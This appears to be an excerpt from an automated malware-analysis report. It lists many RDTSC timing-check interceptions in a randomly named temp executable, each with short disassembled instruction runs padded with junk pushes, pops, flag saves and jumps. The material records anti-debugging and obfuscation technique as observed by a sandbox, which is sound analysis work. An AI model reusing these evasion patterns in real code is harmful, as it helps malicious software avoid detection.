Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B0077F second address: 4B00783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00783 second address: 4B00824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FEC30B390CAh 0x00000010 adc si, BF88h 0x00000015 jmp 00007FEC30B390CBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FEC30B390D8h 0x00000021 or esi, 6561A1E8h 0x00000027 jmp 00007FEC30B390CBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov dword ptr [esp], ebp 0x00000031 pushad 0x00000032 pushad 0x00000033 call 00007FEC30B390D2h 0x00000038 pop eax 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c pushfd 0x0000003d jmp 00007FEC30B390D1h 0x00000042 and ecx, 167D4EB6h 0x00000048 jmp 00007FEC30B390D1h 0x0000004d popfd 0x0000004e popad 0x0000004f mov ebp, esp 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push edx 0x00000055 pop eax 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00824 second address: 4B00829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00829 second address: 4B00859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30B390D7h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B5003C second address: 4B50042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50042 second address: 4B50048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50048 second address: 4B5004C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B5004C second address: 4B5005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B5005C second address: 4B50060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50060 second address: 4B50064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50064 second address: 4B5006A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B5006A second address: 4B50070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50070 second address: 4B50094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEC30BFF4E9h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50094 second address: 4B50099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50871 second address: 4B50875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50875 second address: 4B5087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B5087B second address: 4B50881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50881 second address: 4B50885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B50885 second address: 4B508AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FEC30BFF4E7h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508AB second address: 4B508B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508B0 second address: 4B508B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508B6 second address: 4B508D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEC30B390D7h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508D7 second address: 4B508EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 280DC62Ah 0x00000008 push edx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508EB second address: 4B508EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B508EF second address: 4B508F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B20666 second address: 4B2066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B2066A second address: 4B20670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B20670 second address: 4B20676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B20676 second address: 4B2067A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B2067A second address: 4B206AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FEC30B390CAh 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEC30B390D7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B206AA second address: 4B206C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4E4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B206C2 second address: 4B206C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B206C6 second address: 4B2072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FEC30BFF4E8h 0x00000014 adc esi, 776A5528h 0x0000001a jmp 00007FEC30BFF4DBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FEC30BFF4E8h 0x00000026 and si, 8788h 0x0000002b jmp 00007FEC30BFF4DBh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B2072A second address: 4B20742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390D4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B20742 second address: 4B2076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEC30BFF4E5h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0095 second address: 4AE00B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00B0 second address: 4AE00B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00B6 second address: 4AE00BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00BA second address: 4AE00C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00C9 second address: 4AE00CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00CD second address: 4AE00E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE00E6 second address: 4AE011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FEC30B390CAh 0x00000015 add cx, A1F8h 0x0000001a jmp 00007FEC30B390CBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE011D second address: 4AE015C instructions: 0x00000000 rdtsc 0x00000002 call 00007FEC30BFF4E8h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007FEC30BFF4DBh 0x0000000f pop edx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEC30BFF4E1h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE015C second address: 4AE0162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0162 second address: 4AE0179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov esi, 470CDCE7h 0x00000013 mov di, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0179 second address: 4AE01B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ebx, 4C0C3956h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov eax, ebx 0x00000013 pushfd 0x00000014 jmp 00007FEC30B390CBh 0x00000019 add ecx, 42E52DDEh 0x0000001f jmp 00007FEC30B390D9h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01B9 second address: 4AE01E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007FEC30BFF4DEh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01E6 second address: 4AE01EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01EA second address: 4AE01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01F0 second address: 4AE01F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01F6 second address: 4AE01FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE01FA second address: 4AE0215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0215 second address: 4AE0231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0231 second address: 4AE029B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEC30B390D1h 0x00000009 sbb ax, 8036h 0x0000000e jmp 00007FEC30B390D1h 0x00000013 popfd 0x00000014 jmp 00007FEC30B390D0h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FEC30B390D0h 0x00000022 mov ebx, dword ptr [ebp+10h] 0x00000025 jmp 00007FEC30B390D0h 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE029B second address: 4AE029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE029F second address: 4AE02A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE02A5 second address: 4AE02B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4DBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE03EE second address: 4AE03FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE03FD second address: 4AE045D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4DFh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FECA3EAD6EDh 0x00000013 jmp 00007FEC30BFF4E4h 0x00000018 mov edx, dword ptr [esi+44h] 0x0000001b jmp 00007FEC30BFF4E0h 0x00000020 or edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEC30BFF4E7h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE045D second address: 4AE0475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390D4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE0475 second address: 4AE04B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e pushad 0x0000000f mov ax, dx 0x00000012 mov bx, 65ACh 0x00000016 popad 0x00000017 jne 00007FECA3EAD6D2h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov cx, 9DF3h 0x00000024 call 00007FEC30BFF4E8h 0x00000029 pop esi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE04B3 second address: 4AE04D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test byte ptr [esi+48h], 00000001h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEC30B390D5h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE04D8 second address: 4AE04DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4AE04DD second address: 4AE0517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FECA3DE7281h 0x0000000f jmp 00007FEC30B390D9h 0x00000014 test bl, 00000007h 0x00000017 pushad 0x00000018 jmp 00007FEC30B390CCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00A63 second address: 4B00AC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E7h 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FEC30BFF4E2h 0x00000014 push eax 0x00000015 pushad 0x00000016 mov ebx, 3BEF5B54h 0x0000001b mov ah, dl 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007FEC30BFF4E4h 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 mov edi, eax 0x00000029 push eax 0x0000002a push edx 0x0000002b mov ecx, 5E64217Fh 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00AC1 second address: 4B00B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a and esp, FFFFFFF8h 0x0000000d jmp 00007FEC30B390D0h 0x00000012 xchg eax, ebx 0x00000013 pushad 0x00000014 pushad 0x00000015 movzx ecx, dx 0x00000018 pushfd 0x00000019 jmp 00007FEC30B390D9h 0x0000001e sbb cx, 4A36h 0x00000023 jmp 00007FEC30B390D1h 0x00000028 popfd 0x00000029 popad 0x0000002a mov ax, E227h 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007FEC30B390CDh 0x00000035 xchg eax, ebx 0x00000036 pushad 0x00000037 mov cl, 59h 0x00000039 push ebx 0x0000003a mov edi, esi 0x0000003c pop ecx 0x0000003d popad 0x0000003e push ecx 0x0000003f jmp 00007FEC30B390CCh 0x00000044 mov dword ptr [esp], esi 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FEC30B390CDh 0x00000050 adc eax, 2EABAFA6h 0x00000056 jmp 00007FEC30B390D1h 0x0000005b popfd 0x0000005c mov eax, 2674BED7h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00B80 second address: 4B00B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00B86 second address: 4B00B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: 4B00B8A second address: 4B00BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov edi, 460ED5F4h 0x00000011 push eax 0x00000012 push edx 0x00000013 mov edi, 6AF322DEh 0x00000018 rdtsc
